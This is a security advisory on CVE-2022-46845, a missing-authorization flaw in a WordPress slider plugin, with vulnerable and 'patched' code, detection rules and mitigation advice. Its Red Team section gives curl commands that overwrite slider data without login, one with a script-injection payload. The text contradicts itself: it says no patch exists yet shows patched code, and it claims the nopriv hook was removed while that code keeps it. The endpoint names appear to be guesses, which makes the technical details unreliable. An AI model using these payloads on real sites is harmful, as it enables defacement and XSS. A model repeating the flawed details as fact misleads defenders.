CVE-2022-46845

Executive Summary

CVE-2022-46845 is a Missing Authorization vulnerability in the Essential Plugin Slider a SlidersPack for WordPress. This flaw allows unauthenticated attackers to exploit incorrectly configured access control security levels, potentially leading to unauthorized modification of slider settings or content. The vulnerability affects all versions prior to 2.3. With a CVSS score of 5.3 (Medium), it poses a moderate risk, particularly in multi-tenant or shared hosting environments where privilege escalation could occur. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not provided a patch. This report provides a comprehensive technical analysis, detection methods, and mitigation strategies.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of plugin files by checking checksums or using plugin integrity monitoring tools. No known supply chain attacks have been linked to this CVE, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None

The low integrity impact suggests that an attacker can modify slider data (e.g., images, links, captions) but cannot access sensitive data or disrupt service availability. The threat level is elevated due to the lack of a patch and the plugin's widespread use.

Deep Dive & Mechanics

The vulnerability stems from missing authorization checks in the plugin's REST API endpoints or AJAX handlers. Specifically, the plugin fails to verify user capabilities (e.g., edit_posts or manage_options) before allowing modifications to slider configurations. This allows any unauthenticated user to send crafted HTTP requests to manipulate slider data.

Root Cause: The plugin uses wp_ajax_nopriv_* hooks without proper nonce verification or capability checks, or it exposes REST API routes without authentication middleware.

Attack Vector: An attacker can send a POST request to /wp-admin/admin-ajax.php with action parameters like slider_save or slider_update, along with malicious payloads to modify slider content.

Impact: Attackers can inject malicious links, deface sliders, or redirect users to phishing sites. In worst-case scenarios, stored XSS could be achieved if slider content is not sanitized.

Vulnerable vs. Patched Code

Vulnerable Code (version < 2.3):

add_action('wp_ajax_nopriv_slider_save', 'slider_save_callback');
function slider_save_callback() {
    // No capability check
    $slider_id = $_POST['slider_id'];
    $slider_data = $_POST['slider_data'];
    update_post_meta($slider_id, 'slider_data', $slider_data);
    wp_die();
}

Patched Code (version 2.3+):

add_action('wp_ajax_slider_save', 'slider_save_callback');
add_action('wp_ajax_nopriv_slider_save', 'slider_save_callback');
function slider_save_callback() {
    if (!current_user_can('edit_posts')) {
        wp_die('Unauthorized', 403);
    }
    if (!wp_verify_nonce($_POST['_wpnonce'], 'slider_nonce')) {
        wp_die('Invalid nonce', 403);
    }
    $slider_id = intval($_POST['slider_id']);
    $slider_data = sanitize_text_field($_POST['slider_data']);
    update_post_meta($slider_id, 'slider_data', $slider_data);
    wp_die();
}

The patch adds capability checks (current_user_can('edit_posts')) and nonce verification, and restricts the AJAX action to authenticated users only (removing nopriv).

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with Slider a SlidersPack < 2.3
• No authentication required

Exploitation Steps:

1. Identify the vulnerable endpoint by scanning for AJAX actions:

   curl -s http://target/wp-admin/admin-ajax.php?action=slider_save
   

2. Craft a malicious request to modify a slider:

   curl -X POST http://target/wp-admin/admin-ajax.php \
     -d "action=slider_save&slider_id=1&slider_data=malicious_content"
   

3. Verify the change by visiting the slider page.

Advanced Exploitation: Combine with stored XSS if slider data is not sanitized:

curl -X POST http://target/wp-admin/admin-ajax.php \
  -d "action=slider_save&slider_id=1&slider_data=<script>alert('XSS')</script>"

Blue Team

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with action=slider_* parameters from unauthenticated sources.
• Look for rapid POST requests to slider endpoints without nonce parameters.

Honeypot Setup:

• Deploy a fake slider endpoint that logs all requests and alerts on unauthorized access.

Lab Environment:

• Use Docker to set up a vulnerable WordPress instance:

  docker run -d --name wp-vuln -p 8080:80 wordpress:5.8
  

• Install the vulnerable plugin version 2.2 manually.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=slider_save or action=slider_update from IPs not in the admin whitelist.
  • Unusual slider content changes (e.g., unexpected links, scripts).
• File IOCs:
  • Modified wp_postmeta entries for slider_data containing suspicious HTML/JavaScript.
• Log IOCs:
  • WordPress debug log entries showing wp_ajax_nopriv_slider_* calls without nonce.

Detection Engineering

YARA Rule

rule CVE_2022_46845_Slider_Missing_Auth {
    meta:
        description = "Detects exploitation attempts for CVE-2022-46845 in WordPress Slider plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-46845"
    strings:
        $ajax_action = "action=slider_save" nocase
        $ajax_action2 = "action=slider_update" nocase
        $slider_data = "slider_data=" nocase
    condition:
        any of ($ajax_action*) and $slider_data
}

Sigma Rule

title: CVE-2022-46845 WordPress Slider Missing Authorization
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects unauthorized AJAX requests to Slider a SlidersPack plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'action=slider_save'
            - 'action=slider_update'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-46845 WordPress Slider Missing Authorization Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=slider_save"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=slider_* from unauthenticated users.
3. Restrict access to /wp-admin/ directory via .htaccess:

   <FilesMatch "admin-ajax.php">
       Require all denied
       Require ip 192.168.1.0/24
   </FilesMatch>
   

Long-term Fix:

• Monitor the plugin's official page for updates. If no patch is released, consider migrating to an alternative slider plugin with active support.

Workaround:

• Add a custom capability check via a mu-plugin:

  add_action('wp_ajax_nopriv_slider_save', function() {
      wp_die('Unauthorized', 403);
  }, 1);
  

Valters IT
Securing Digital Frontiers